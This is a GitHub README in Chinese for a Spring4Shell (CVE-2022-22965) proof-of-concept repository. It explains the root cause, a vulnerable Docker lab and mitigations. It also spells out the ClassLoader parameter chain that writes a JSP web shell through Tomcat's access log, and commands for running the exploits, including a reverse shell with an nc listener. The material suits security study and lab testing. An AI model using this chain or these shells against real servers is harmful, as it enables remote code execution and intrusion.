march0n/PoC-CVE-2022-22965-Spring4Shell
GitHub: march0n/PoC-CVE-2022-22965-Spring4Shell
针对 Spring Framework CVE-2022-22965 远程代码执行漏洞的完整研究项目,包含多个利用脚本和 Docker 靶场环境。
Stars: 0 | Forks: 0
# PoC — CVE-2022-22965 (Spring4Shell)
针对 CVE-2022-22965 的研究与 PoC,这是 Spring Framework 中一个严重的远程代码执行 (RCE) 漏洞,于 2022 年 4 月公开披露。
## 漏洞概述
当以下所有条件均满足时,**Spring4Shell** 会影响 Spring MVC 和 Spring WebFlux 应用程序:
| 条件 | 值 |
|---|---|
| JDK 版本 | 9 或更高 |
| 应用服务器 | Apache Tomcat |
| 打包方式 | WAR (非可执行 JAR) |
| Spring Framework | < 5.3.18 或 < 5.2.20 |
### 漏洞原理
Spring 的数据绑定机制允许使用点号表示法(例如 `user.name=foo`)将 HTTP 请求参数映射到 Java 对象属性。该漏洞的产生是因为这种遍历没有受到适当限制——攻击者可以通过模型对象的类层次结构访问 JVM `ClassLoader`:
```
class.module.classLoader.resources.context.parent.pipeline.first.
```
此路径可访问 Tomcat 的 `AccessLogValve`,其日志配置可在运行时被篡改。通过修改 `pattern`、`directory`、`prefix` 和 `suffix` 等属性,攻击者可以重定向 Tomcat 的访问日志,从而写入一个扩展名为 `.jsp` 且包含任意 JSP 代码的文件——这实际上是在服务器上植入一个 **web shell**。
### 攻击流程
```
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
```
## 仓库结构
```
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
```
## 漏洞利用变体
| 脚本 | 方法 | Payload | 备注 |
|---|---|---|---|
| `exploit1.py` | POST | Web shell (带密码保护) | 单次请求 |
| `exploit2.py` | POST | Web shell | 在执行漏洞利用前后重置日志配置 |
| `exploit3.py` | GET | Web shell (无密码) | 通过查询字符串传递参数 |
| `exploit4.py` | GET | 反向 TCP shell | 基于 msfvenom 的 JSP payload |
| `exploit4b.py`| POST | 反向 TCP shell | 与 exploit4 的 payload 相同,POST 变体 |
### 使用示例
```
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# 反向 shell(先启动监听器:nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost --lport 4444
```
## 实验环境搭建
### 前置条件
- Java 11+
- Maven (`sudo apt install maven` 或 `sudo dnf install maven`)
- Docker (可选,推荐)
### 构建
```
cd springmvc5-helloworld-example
mvn clean package
```
### 使用 Docker 运行
```
# 选项 1 — 预构建的 Tomcat 镜像
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# 选项 2 — 从 openjdk 构建 + 下载 Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
```
应用程序随后可通过 `http://localhost:8082/vulnerable` 访问。
## 缓解措施
- **升级 Spring Framework** 至 5.3.18+ 或 5.2.20+
- **升级 Spring Boot** 至 2.6.6+ 或 2.5.12+
- 如果无法立即升级:
- 降级至 JDK 8
- 使用 `WebDataBinder.setDisallowedFields()` 阻止 `classLoader` 绑定
- 部署 WAF 规则,拦截包含 `class.`、`Class.`、`module.` 或 `classLoader` 的参数
## 鸣谢
原始研究与漏洞利用代码来自 [@march0n](https://github.com/march0n)。
本仓库是出于学习目的对漏洞进行的个人研究,并添加了额外的文档和分析。
## 参考资源
- [CVE-2010-1622 — 最早的 Spring ClassLoader 漏洞利用 (2010)](http://blog.o0o.nu/2010/06/cve-2010-1622.html)
- [最初的中文披露 (Weixin)](https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw)
- [Microsoft 安全博客 — SpringShell 指南](https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/)
- [LunaSec — Spring RCE 漏洞分析](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/)
- [Palo Alto Unit 42 — CVE-2022-22965 深度剖析](https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/)
标签:CISA项目, GHAS, Java安全, JS文件枚举, Python, Spring框架, 无后门, 请求拦截, 逆向工具